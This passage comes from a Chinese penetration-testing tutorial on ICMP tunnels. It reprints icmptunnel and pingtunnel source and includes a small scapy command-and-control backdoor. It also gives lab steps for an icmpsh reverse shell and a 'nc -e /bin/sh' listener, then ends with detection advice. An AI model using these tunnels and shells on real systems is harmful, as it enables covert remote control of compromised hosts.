{struct icmp_packet packet;int tun_fd, sock_fd;fd_set fs;tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI);printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server);printf("[DEBUG] Opening ICMP socket\n");sock_fd = open_icmp_socket();if (server) {printf("[DEBUG] Binding ICMP socket\n");bind_icmp_socket(sock_fd);}configure_network(server);while (1) {FD_ZERO(&fs);FD_SET(tun_fd, &fs);FD_SET(sock_fd, &fs);select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);if (FD_ISSET(tun_fd, &fs)) {printf("[DEBUG] Data needs to be readed from tun device\n");// Reading data from tun device and sending ICMP packetprintf("[DEBUG] Preparing ICMP packet to be sent\n");// Preparing ICMP packet to be sentmemset(&packet, 0, sizeof(struct icmp_packet));printf("[DEBUG] Destination address: %s\n", dest);if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n");close(tun_fd);close(sock_fd);exit(EXIT_FAILURE);}strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n");close(sock_fd);exit(EXIT_FAILURE);}strncpy(packet.dest_addr, dest, strlen(dest) + 1);if(server) {set_reply_type(&packet);}else {set_echo_type(&packet);}packet.payload = calloc(MTU, sizeof(uint8_t));if (packet.payload == NULL){perror("No memory available\n");exit(EXIT_FAILURE);}packet.payload_size  = tun_read(tun_fd, packet.payload, MTU);if(packet.payload_size  == -1) {perror("Error while reading from tun device\n");exit(EXIT_FAILURE);}printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload);// Sending ICMP packetsend_icmp_packet(sock_fd, &packet);free(packet.payload);}if (FD_ISSET(sock_fd, &fs)) {printf("[DEBUG] Received ICMP packet\n");// Reading data from remote socket and sending to tun device// Getting ICMP packetmemset(&packet, 0, sizeof(struct icmp_packet));receive_icmp_packet(sock_fd, &packet);printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);// Writing out to tun devicetun_write(tun_fd, packet.payload, packet.payload_size);printf("[DEBUG] Src address being copied: %s\n", packet.src_addr);strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);free(packet.payload);}}}

test_client.c

#include "icmp.h"
#include <string.h>int main()
{struct icmp_packet packet;char *src_ip;char *dest_ip;int sock_fd;src_ip = "127.0.0.2";dest_ip = "127.0.0.1";strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);set_reply_type(&packet);packet.payload = "ZZZZZZ";packet.payload_size = strlen(packet.payload);sock_fd = open_icmp_socket();send_icmp_packet(sock_fd, &packet);close_icmp_socket(sock_fd);
}

test_server.c

#include "icmp.h"#include <stdio.h>
#include <string.h>int main()
{struct icmp_packet packet;int sock_fd;sock_fd = open_icmp_socket();bind_icmp_socket(sock_fd);printf("server initialized\n");while(1){receive_icmp_packet(sock_fd, &packet);printf("%s\n", packet.src_addr);printf("%s\n", packet.dest_addr);printf("%d\n", packet.type);printf("%s\n", packet.payload);}close_icmp_socket(sock_fd);
}

icmptunnel.c

/*** icmp_tunnel.c*/#include "tunnel.h"#include <string.h>
#include <stdio.h>
#include <stdlib.h>#define ARG_SERVER_MODE "-s"
#define ARG_CLIENT_MODE "-c"void usage()
{printf("Wrong argument\n");fprintf(stdout, "usage: icmptunnel [-s serverip] | [-c clientip]\n");
}int main(int argc, char *argv[])
{char ip_addr[100] = {0,};if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) {usage();exit(EXIT_FAILURE);}memcpy(ip_addr, argv[2], strlen(argv[2]) + 1);if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) {run_tunnel(ip_addr, 1);}else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) {run_tunnel(ip_addr, 0);}else {usage();exit(EXIT_FAILURE);}return EXIT_SUCCESS;
}

(2)用法

服务端

  • 安装和编译

    git clone https://github.com/DhavalKapil/icmptunnel.git
    make
    
  • 禁用ICMP echo回复,防止内核自己对ping包进行响应

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 启动隧道(root权限)

    [sudo] ./icmptunnel -s 10.0.1.1
    
  • 观察路由

    route -n
    

攻击端

  • 安装和编译

    git clone https://github.com/DhavalKapil/icmptunnel.git
    make
    
  • 禁用ICMP echo回复,防止内核自己对ping包进行响应

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 修改client.sh

    route add -host [server-IP] gw [client-IP] dev eth0
    
  • 建立隧道

    [sudo] ./icmptunnel -c [server-IP]
    

3、pingtunnel

github:https://github.com/esrrhs/pingtunnel

持续更新,TCP、UDP、socks5 over ICMP,速度快,连接稳定,跨平台,支持大多数具有libpcap的操作系统,从版本0.7开始,ptunnel也可以在装WinPcap的Windows上编译,client模式不需要管理员权限即可正常使用,推荐使用

(1)源码

main.go

package mainimport ("flag""fmt""github.com/esrrhs/go-engine/src/common""github.com/esrrhs/go-engine/src/geoip""github.com/esrrhs/go-engine/src/loggo""github.com/esrrhs/go-engine/src/pingtunnel""net""net/http"_ "net/http/pprof""strconv""time"
)var usage = `通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.
Usage:// serverpingtunnel -type server// client, Forward udppingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455// client, Forward tcppingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1// client, Forward sock5, implicitly open tcp, so no target server is neededpingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1-type     服务器或者客户端client or server
服务器参数server param:-key      设置的密码,默认0Set password, default 0-nolog    不写日志文件,只打印标准输出,默认0Do not write log files, only print standard output, default 0 is off-noprint  不打印屏幕输出,默认0Do not print standard output, default 0 is off-loglevel 日志文件等级,默认infolog level, default is info-maxconn  最大连接数,默认0,不受限制the max num of connections, default 0 is no limit-maxprt   server最大处理线程数,默认100max process thread in server, default 100-maxprb   server最大处理线程buffer数,默认1000max process thread's buffer in server, default 1000-conntt   server发起连接到目标地址的超时时间,默认1000msThe timeout period for the server to initiate a connection to the destination address. The default is 1000ms.
客户端参数client param:-l        本地的地址,发到这个端口的流量将转发到服务器Local address, traffic sent to this port will be forwarded to the server-s        服务器的地址,流量将通过隧道转发到这个服务器The address of the server, the traffic will be forwarded to this server through the tunnel-t        远端服务器转发的目的地址,流量将转发到这个地址Destination address forwarded by the remote server, traffic will be forwarded to this address-timeout  本地记录连接超时的时间,单位是秒,默认60sThe time when the local record connection timed out, in seconds, 60 seconds by default-key      设置的密码,默认0Set password, default 0-tcp      设置是否转发tcp,默认0Set the switch to forward tcp, the default is 0-tcp_bs   tcp的发送接收缓冲区大小,默认1MBTcp send and receive buffer size, default 1MB-tcp_mw   tcp的最大窗口,默认20000The maximum window of tcp, the default is 20000-tcp_rst  tcp的超时发送时间,默认400msTcp timeout resend time, default 400ms-tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0-tcp_stat 打印tcp的监控,默认0Print tcp connection statistic, default 0 is off-nolog    不写日志文件,只打印标准输出,默认0Do not write log files, only print standard output, default 0 is off-noprint  不打印屏幕输出,默认0Do not print standard output, default 0 is off-loglevel 日志文件等级,默认infolog level, default is info-sock5    开启sock5转发,默认0Turn on sock5 forwarding, default 0 is off-profile  在指定端口开启性能检测,默认0不开启Enable performance detection on the specified port. The default 0 is not enabled.-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdbThe data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
`func main() {defer common.CrashLog()t := flag.String("type", "", "client or server")listen := flag.String("l", "", "listen addr")target := flag.String("t", "", "target addr")server := flag.String("s", "", "server addr")timeout := flag.Int("timeout", 60, "conn timeout")key := flag.Int("key", 0, "key")tcpmode := flag.Int("tcp", 0, "tcp mode")tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size")tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win")tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms")tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress")nolog := flag.Int("nolog", 0, "write log file")noprint := flag.Int("noprint", 0, "print stdout")tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat")loglevel := flag.String("loglevel", "info", "log level")open_sock5 := flag.Int("sock5", 0, "sock5 mode")maxconn := flag.Int("maxconn", 0, "max num of connections")max_process_thread := flag.Int("maxprt", 100, "max process thread in server")max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server")profile := flag.Int("profile", 0, "open profile")conntt := flag.Int("conntt", 1000, "the connect call's timeout")s5filter := flag.String("s5filter", "", "sock5 filter")s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file")flag.Usage = func() {fmt.Printf(usage)}flag.Parse()if *t != "client" && *t != "server" {flag.Usage()return}if *t == "client" {if len(*listen) == 0 || len(*server) == 0 {flag.Usage()return}if *open_sock5 == 0 && len(*target) == 0 {flag.Usage()return}if *open_sock5 != 0 {*tcpmode = 1}}if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID {fmt.Println("set tcp win to big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10))return}level := loggo.LEVEL_INFOif loggo.NameToLevel(*loglevel) >= 0 {level = loggo.NameToLevel(*loglevel)}loggo.Ini(loggo.Config{Level:     level,Prefix:    "pingtunnel",MaxDay:    3,NoLogFile: *nolog > 0,NoPrint:   *noprint > 0,})loggo.Info("start...")loggo.Info("key %d", *key)if *t == "server" {s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt)if err != nil {loggo.Error("ERROR: %s", err.Error())return}loggo.Info("Server start")err = s.Run()if err != nil {loggo.Error("Run ERROR: %s", err.Error())return}} else if *t == "client" {loggo.Info("type %s", *t)loggo.Info("listen %s", *listen)loggo.Info("server %s", *server)loggo.Info("target %s", *target)if *tcpmode == 0 {*tcpmode_buffersize = 0*tcpmode_maxwin = 0*tcpmode_resend_timems = 0*tcpmode_compress = 0*tcpmode_stat = 0}if len(*s5filter) > 0 {err := geoip.Load(*s5ftfile)if err != nil {loggo.Error("Load Sock5 ip file ERROR: %s", err.Error())return}}filter := func(addr string) bool {if len(*s5filter) <= 0 {return true}taddr, err := net.ResolveTCPAddr("tcp", addr)if err != nil {return false}ret, err := geoip.GetCountryIsoCode(taddr.IP.String())if err != nil {return false}if len(ret) <= 0 {return false}return ret != *s5filter}c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key,*tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress,*tcpmode_stat, *open_sock5, *maxconn, &filter)if err != nil {loggo.Error("ERROR: %s", err.Error())return}loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(),c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr())err = c.Run()if err != nil {loggo.Error("Run ERROR: %s", err.Error())return}} else {return}if *profile > 0 {go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil)}for {time.Sleep(time.Hour)}
}

pack.sh

#! /bin/bash
#set -x
NAME="pingtunnel"export GO111MODULE=off#go tool dist list
build_list=$(go tool dist list)rm pack -rf
rm pack.zip -f
mkdir packfor line in $build_list; doos=$(echo "$line" | awk -F"/" '{print $1}')arch=$(echo "$line" | awk -F"/" '{print $2}')echo "os="$os" arch="$arch" start build"if [ $os == "android" ]; thencontinuefiif [ $os == "ios" ]; thencontinuefiif [ $arch == "wasm" ]; thencontinuefiCGO_ENABLED=0 GOOS=$os GOARCH=$arch go build -ldflags="-s -w"if [ $? -ne 0 ]; thenecho "os="$os" arch="$arch" build fail"exit 1fiif [ $os = "windows" ]; thenzip ${NAME}_"${os}"_"${arch}"".zip" $NAME".exe"if [ $? -ne 0 ]; thenecho "os="$os" arch="$arch" zip fail"exit 1fimv ${NAME}_"${os}"_"${arch}"".zip" pack/rm $NAME".exe" -felsezip ${NAME}_"${os}"_"${arch}"".zip" $NAMEif [ $? -ne 0 ]; thenecho "os="$os" arch="$arch" zip fail"exit 1fimv ${NAME}_"${os}"_"${arch}"".zip" pack/rm $NAME -ffiecho "os="$os" arch="$arch" done build"
donezip pack.zip pack/ -recho "all done"

(2)用法

服务端(无法ping通另一台)

  • 安装

    sudo wget (最新release的下载链接)
    sudo unzip pingtunnel_linux64.zip
    
  • (可选)关闭系统默认的 ping

    echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 建立隧道

    sudo ./pingtunnel -type server
    

客户端(可以ping通另一台)

  • 准备好一个具有公网 IP的服务器,假定域名或者公网 ip 是www.yourserver.com

  • 安装

    sudo wget (最新release的下载链接)
    sudo unzip pingtunnel_linux64.zip
    
  • 转发TCP

    pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
    

4、简单DIY

控制端:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/1/6 2:52 PM
# @File : icmp_c2.pyfrom scapy.all import *def main():while True:command = raw_input('# Enter command: ')pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/commandsend(pinger)rx = sniff(count=1, timeout=2)print(rx[0][Raw].load.decode('utf-8'))if __name__ == "__main__":main()

被控端:

#!/usr/bin/env pythonimport os
from scapy.all import *def main():while True:# wait for the ICMP message containing the command from the C2 server# to be receivedrx = sniff(filter="icmp", count=1)# strip down the packet to the payload itselfvar = rx[0][Raw].load.decode('utf-8')# run the command and save the resultres = os.popen(var).read()# build the ICMP packet with the result as the payload    send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)if __name__ == "__main__":main()

然后一个可供参考的Go版发送ICMP包

package mainimport ("fmt""net""os""golang.org/x/net/icmp""golang.org/x/net/ipv4"
)var Data = []byte("I'm hacker xi4okv!")type ping struct {Addr stringConn net.ConnData []byte
}func main() {ping,err := Run("10.1.33.222", Data)if err != nil{fmt.Println(err)}ping.Ping()
}func MarshalMsg(req int, data []byte) ([]byte, error) {xid, xseq := os.Getpid()&0xffff, reqwm := icmp.Message{Type: ipv4.ICMPTypeEcho, Code: 0,Body: &icmp.Echo{ID: xid, Seq: xseq,Data: data,},}return wm.Marshal(nil)
}func Run(addr string, data []byte) (*ping, error) {wb, err := MarshalMsg(1, data)if err != nil {return nil, err}if err != nil {return nil, err}return &ping{Data: wb, Addr: addr}, nil
}func (self *ping) Dail() (err error) {self.Conn, err = net.Dial("ip4:icmp", self.Addr)if err != nil {return err}return nil
}func (self *ping) Ping() {if err := self.Dail(); err != nil {fmt.Println("ICMP error")return}fmt.Println("Start ping from ", self.Conn.LocalAddr())sendPingMsg(self.Conn, self.Data)}func sendPingMsg(c net.Conn, wb []byte) {if _, err := c.Write(wb); err != nil {print(err)}
}

三、ICMP隧道应用

1、icmpsh

(1)环境

攻击机IP:192.168.10.234 (kali linux)
受害机IP:192.168.10.155 (windows10)

(2)实践

kali上

  • 安装

    git clone https://github.com/inquisb/icmpsh.git
    
  • 关闭ping回复,防止内核自己对ping包进行响应
    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    
  • 监听
    python icmpsh_m.py 192.168.10.234 192.168.10.155
    

windows上

  • 安装

    git clone https://github.com/inquisb/icmpsh.git
    
  • 关闭ping回复,防止内核自己对ping包进行响应
    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    
  • 反弹shell
    icmpsh.exe -t 192.168.10.155
    

抓包

2、icmptunnel

(1)环境

客户端IP:192.168.10.234 (kali linux)
服务端IP:192.168.10.107 (kali linux)

(2)实践

受害机(服务端)

  • 安装和编译

    git clone https://github.com/DhavalKapil/icmptunnel.git
    make
    
  • 禁用ICMP echo回复,防止内核自己对ping包进行响应

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 启动隧道(root权限)

    [sudo] ./icmptunnel -s 10.0.0.1
    

  • 观察路由

    route -n
    

攻击端(客户端)

  • 安装和编译

    git clone https://github.com/DhavalKapil/icmptunnel.git
    make
    
  • 禁用ICMP echo回复,防止内核自己对ping包进行响应

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 修改client.sh

    route add -host 192.168.10.107 gw 192.168.10.1 dev eth0
    
  • 建立隧道

    [sudo] ./icmptunnel -c 192.168.10.107
    

  • 观察路由

    route -n
    

抓包

icmp包异常的多,且长度也很长,有些还可以看到有http的请求信息

3、pingtunnel

(1)环境


这里 redis 其实应该是没有公网 IP
redis 可以 ping 通 attack 机器
attack 机器无法 ping 通 redis 机器

(2)实践

attack机器上(作为服务端)

sudo wget https://github.com/esrrhs/pingtunnel/releases/download/2.2/pingtunnel_linux64.zip
sudo unzip pingtunnel_linux64.zip
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
sudo ./pingtunnel -type server -key 457864 #设置密码


redis 机器上(作为客户端)

sudo wget https://github.com/esrrhs/pingtunnel/releases/download/2.2/pingtunnel_linux64.zip
sudo unzip pingtunnel_linux64.zip
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
pingtunnel.exe -type client -l :4455 -s 47.244.96.168 -t 47.244.96.168:8888 -tcp 1 -key 457864 #监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 47.244.96.168 服务器的 8888 端口


至此隧道建立成功,可以比如用nc

  • attack:busybox nc -lp 8888 -e /bin/sh
  • redis:nc.exe -nv 127.0.0.1 4455

注:如果想把它作为稳定的隧道去执行命令,不太现实,偶尔用来传个东西,还可以

四、检测和防御

1、数据包的总数

检测同一来源 ICMP 数据包的数量

一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包

2、payload内容

寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包

3、数据包过大

注意那些 ICMP 数据包中 payload 大于 64 比特的数据包

当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。

4、检查ICMP数据包的协议标签

例如icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征

5、检查type

ICMP隧道存在一些type为13/15/17的带payload的畸形数据包

一篇很细致的文章:基于统计分析的ICMP隧道检测方法与实现

结语

学习了ICMP隧道,源码还有待深入看看,然后思考攻防相关
在实战中,可能会由于过大的流量,过于明显的特征被发现,且隧道不稳定

参考:

  • 完全理解icmp协议
  • ICMP隧道通信原理与通信特征
  • 利用ICMP进行命令控制和隧道传输
  • 初探ICMP隧道
  • 利用 ICMP 隧道穿透防火墙
  • 网络层隧道之 ICMP 隧道
  • 基于统计分析的ICMP隧道检测方法与实现

内网渗透系列:内网隧道之ICMP隧道相关推荐

  1. 内网渗透系列:内网隧道之pingtunnel

    目录 前言 一.概述 1.简介 2.原理 3.使用 (1)直连出网 (2)跳板出网 二.实践 1.场景 2.建立隧道 (1)攻击机 (2)目标机 (3)nc 3.抓包看看 三.探索 1.源码与分析 ( ...

  2. 内网渗透系列:内网隧道之icmpsh

    目录 前言 一.概述 1.简介 2.原理 3.使用 二.实践 1.场景 2.建立隧道 (1)攻击机 (2)目标机 (3)隧道建立成功 3.抓包看看 三.探索 1.源码与分析 (1)客户端 (2)服务端 ...

  3. 内网渗透系列:内网信息搜集方法小结2

    目录 前言 一.本机信息搜集 1.用户列表 (1)windows用户列表 (2)分析邮件用户 2.进程列表 3.服务列表 4.端口列表 5.补丁列表 6.本机共享 7.本用户习惯分析 8.获取当前用户 ...

  4. 内网渗透系列之mimikatz的使用以及后门植入

    内网渗透系列之mimikatz的使用以及后门植入 文章目录 内网渗透系列之mimikatz的使用以及后门植入 前言 mimikatz的使用 后门植入 msf永久后门植入 (1)Meterpreter后 ...

  5. 内网渗透系列:信息搜集方法小结2

    目录 前言 一.开源情报(OSINT) 1.whois/反查/相关资产 2.github敏感信息 (1)github邮箱密码爬取 (2)GSIL (3)x-patrol 3.google hackin ...

  6. 内网渗透-Linux内网渗透

    系列文章目录 文章目录 系列文章目录 一.Linux内网渗透 二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权 三.隧道 3.1 SSH ...

  7. 内网渗透(十三)之内网信息收集-收集域环境中的基本信息

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  8. 内网渗透-Windows内网渗透

    内网渗透-Windows内网渗透 文章目录 内网渗透-Windows内网渗透 前言 一.信息收集 1.1.SPN 1.2.端口连接 1.3.配置文件 1.4.用户信息 1.6.会话收集 1.7.凭据收 ...

  9. 内网渗透系列:横向渗透方法小结

    目录 前言 一.端口渗透 1.常见默认端口 (1)web类(web漏洞/敏感目录) (2)数据库类(扫描弱口令) (3)特殊服务类(未授权/命令执行类/漏洞) (4)常用端口类(扫描弱口令/端口爆破) ...

最新文章

  1. android jks sha1,Android 获取签名文件jks的SHA1值或者SHA256的值
  2. SpringCloud 应用在 Kubernetes 上的最佳实践 —— 高可用(容量评估)
  3. python调用R语言,关联规则可视化
  4. nginx虚拟主机(基于域名虚拟主机、基于IP地址虚拟主机、基于端口虚拟主机设置)
  5. java动态网站框架_大型网站动态应用系统架构
  6. 批作业是小学老师的一大乐趣 | 今日最佳
  7. MDK530编译出现ARM版本不符问题
  8. Exchange收件人管理
  9. 飞鸽传书 扩散全身的
  10. 百度android定位 602 key mcode不匹配,我的Android进阶之旅------百度地图学习:BDLocation.getLocType ( )值分析...
  11. 使用ConcurrentLinkedQueue惨痛的教训
  12. debug.keystore文件找不到
  13. [Ubuntu] 查看内核和版本号
  14. linux fpga 开发环境,- Vivado+Zedboard之Linux开发环境搭建
  15. linux通过光盘安装命令包,RHEL5通过光盘配置本地yum仓库及命令详解
  16. office 论文 页码_还在花钱找人排版?这份最全攻略,让你论文一次过!
  17. 使用electron开发了一个excel对比工具
  18. vue 脚手架跨域问题解决
  19. uni-app分享app和公众号遇到的坑(仅个人之见,如有错误请给指出)
  20. 函数指针的用法以及用途详解

热门文章

  1. 关于敏感词汇通过Excel导入进本地数据库
  2. matlab引言,MatLab 2018a 官方教程
  3. 人能不能向计算机一样输入知识,电视机能不能做为计算机的显示器来使用
  4. Vue开发常用的工具有哪些?
  5. JAVA复制对象给另一个对象
  6. 软件测试之性能测试流程
  7. 离散数学练习(林大OJ)
  8. 杰信物流项目总结(八)
  9. 怎么获取网页高度、屏幕高度、滚动高度?
  10. 解决LinuxRedhat网卡配置MAC地址冲突问题